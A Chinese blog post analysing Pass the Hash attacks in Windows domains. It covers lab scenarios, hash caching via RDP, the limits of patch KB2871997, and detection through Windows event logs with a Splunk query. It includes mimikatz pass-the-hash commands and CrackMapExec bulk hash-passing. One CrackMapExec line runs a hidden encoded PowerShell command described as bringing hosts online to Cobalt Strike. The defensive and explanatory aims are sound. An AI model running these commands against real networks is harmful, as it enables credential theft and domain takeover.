Pass the Hash再思考：场景、补丁与监测

‮

Intro

本文讨论的主要内容：

  • 对PTH攻击应用场景的思考
  • KB22871997能否防御PTH攻击
  • 基于Windows（原生）日志的PTH攻击监测

错误的攻击场景

第一次PTH的应用场景有点问题，来看步骤

攻击机：192.168.146.76 / Windows Server 2019
被攻击机：192.168.146.78 / Windows Server 2012 Standard(Build 9200)
均已加域，Administrator为本地管理员账号，拥有相同的密码

在2019这台上用本地管理员Administrator，mimikatz读到Administrator的NTLM值，直接PTH：

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:OCDCHINA /ntlm:xxxxxxxxxxx"

从结果来看PTH是成功的，文件列出了，用PsExec也能获取到受害机的权限

但是思考这个攻击的场景，是使用本地管理员攻击，获取到的另一个本地管理员权限，虽然这两台都加域了，但其实整个攻击流程和域没有什么关系。并且这两个Administrator账号密码其实是相同的，直接用PsExec也能相互获取到权限，并不需要打这一个PTH。

（PsExec是通过SMB服务连接文件共享，上传文件，使用SCM创建/启动服务来获取权限的，详细原理见psexec原理分析和实现，作者：想做嘉然小姐的狗）

更好的攻击场景

更好的攻击场景，我理解应该是拿下一台域内机器的权限（比如获取到webshell）后，提权到Adninistrator或SYSTEM这样的高权限，然后从这台机器上试图抓到域管账号哈希，使用这个哈希控制任意的域内终端。

缓存域管NTLM HASH

为了抓到NTLM HASH进行下一步横向，这里一共模拟了4种域管账号认证过程，看看是否会将NTLM HASH缓存到本地：

RDP：可以抓到哈希

从域控使用域管账号3389登录攻击机（横移起点）

4624 Logon Type=3(Network)

SMB：抓不到

先开启SMB服务，可以直接开启一个文件共享，然后从域控

\\192.168.146.56\c$

注意这里要输入IP而不是主机名， IP会使用NTLM协议，而主机名会使用Kerberos。

从Windows Security日志可以看到4624登录成功中的详情也是NTLM认证，但是很奇怪这种方式抓不到缓存的哈希。

Windows Credential Manager：抓到密码明文

加域后重启前：抓到密码明文

注意：以上所有的认证过程发生在DC和攻击机这两台2019之间，所以不存在2012低于R2版本导致明文存储的问题。

攻击流程复现

DC：192.168.146.76 / Windows Server 2019
攻击机：192.168.146.73(56) / Windows Server 2019 （横向移动的起点）
受害机：192.168.146.78 / Winodows Server 2012 Standard(Build 9200)
域管账号adminE*

域管3389登录攻击机以后，在攻击机本地缓存了NTLM HASH

模拟内网中横向移动的场景，攻击者在这台2019上抓到哈希且无法解出明文的时候使用PTH。由于这里抓到的是域管账号的哈希，攻击者可以使用其登录任意一台域内主机，即获取到了整个域的权限。

当然，更直接的利用是直接打域控。

关于KB22871997补丁

在谭谈哈希传递那些世人皆知的事 这篇文章里作者写的：

“PTH杀手”的更新使本地帐号不再可以用于远程接入系统…无法通过本地管理员权限对远程计算机…

但其实通过我们上面对攻击场景的思考可以知道，PTH攻击的场景应该是用域管而非本地管理员的权限做横向移动，包括他这篇文章里复现的也是用域管账号打PTH，所以1997这个补丁对这种情况的攻击并不起作用。1997补丁最主要的作用就是使内存中默认不再缓存明文密码，而这个作用对哈希传递也没有影响，相反恰恰是给了PTH真正的应用价值，即在明文口令未知的情况下做内网横向移动。

此外他第二段写的SID 500的账号是例外，以及PTH的”转折点”这里也写的1997补丁之后没法使用SID非500的账户做PTH，但是我实测了一下还是可以的，在Server2012上使用本地管理员账号，读到SID非500的域管账号，利用这个仍然可以做PTH的横移（这里打的是Server2019）：

获得的是域管账号权限：

所以究其根本，Pass the Hash是NTLM协议挑战/响应(challenge/response)机制的缺陷，只要使用了NTLM协议，用户容易遭受Pass the Hash攻击的问题就会一直存在。微软也只能建议使用更安全的Kerberos协议来代替NTLM协议。

基于Windows（原生）日志的攻击监测

上图分别是从攻击源、目的和域控三个位置，汇总的在正常NTLM认证过程中和PTH攻击过程中产生的Windows事件日志。来自

从蓝队视角做基于日志的攻击行为监测，可以看到受害终端在经历PTH攻击后产生的日志，与一次正常的NTLM认证过程是完全一致的（4624 Logon Type=3 & 4672），因此从受害方并不能感知到此次NTLM认证过程是一次PTH攻击。DC的日志上相应都产生了4776验证账户凭据的事件，区别是正常过程还会跟两条Kerberos的验证请求。也不是很好做，比较直观的还是应该从攻击源看4624的Logon Type=9的日志，在我的环境里面也找到了这一条的详细内容：

An account was successfully logged on.

Subject:
    Security ID:        WIN10\fazx
    Account Name:        fazx
    Account Domain:        WIN10
    Logon ID:        0x48BE9

Logon Information:
    Logon Type:        9
    Restricted Admin Mode:    -
    Virtual Account:        No
    Elevated Token:        Yes

Impersonation Level:        Impersonation

New Logon:
    Security ID:        WIN10\fazx
    Account Name:        fazx
    Account Domain:        WIN10
    Logon ID:        0x1D43FC7
    Linked Logon ID:        0x0
    Network Account Name:    admine*
    Network Account Domain:    OCDCHINA
    Logon GUID:        {00000000-0000-0000-0000-000000000000}

Process Information:
    Process ID:        0x11f4
    Process Name:        C:\Windows\System32\svchost.exe

Network Information:
    Workstation Name:    -
    Source Network Address:    ::1
    Source Port:        0

Detailed Authentication Information:
    Logon Process:        seclogo
    Authentication Package:    Negotiate
    Transited Services:    -
    Package Name (NTLM only):    -
    Key Length:        0

易于监测的点就是Logon Type: 9和Logon Process: seclogo

Splunk Search Processing Language (SPL)：

index=xxx (EventCode=4624) "Logon Type:        9" "Logon Process:        seclogo"
| table  _time Account_Name Source_Network_Address Security_ID ComputerName Keywords       
| sort  -_time

4672日志：

4672日志里就只有进行攻击的本地管理员账户，没有冒充的域管账户，如果要监测的话只能针对本地管理员而非SYSTEM的4672事件做监控。

可能会有点反直觉哪有从攻击源监测攻击的，但是这已经是右移到了内网的横向阶段，所以其实对Source Host的监测是完全可以做的。

当然，我这里写的是基于原生Windows日志的监测，如果装了一些Agent比如Sysmon，那能产生进程调用日志的时候思路就更多更简单了。

其他

域环境对于哈希传递不是必要条件，在工作组环境中也可以：

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"

使用MSF的use exploit/windows/smb/psexec

使用CrackMapExec批量哈希传递，批量CS上线

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de
cme smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."
文章目录
  1. 1. Intro
  2. 2. 错误的攻击场景
  3. 3. 更好的攻击场景
    1. 3.1. 缓存域管NTLM HASH
    2. 3.2. 攻击流程复现
  4. 4. 关于KB22871997补丁
  5. 5. 基于Windows（原生）日志的攻击监测
  6. 6. 其他
|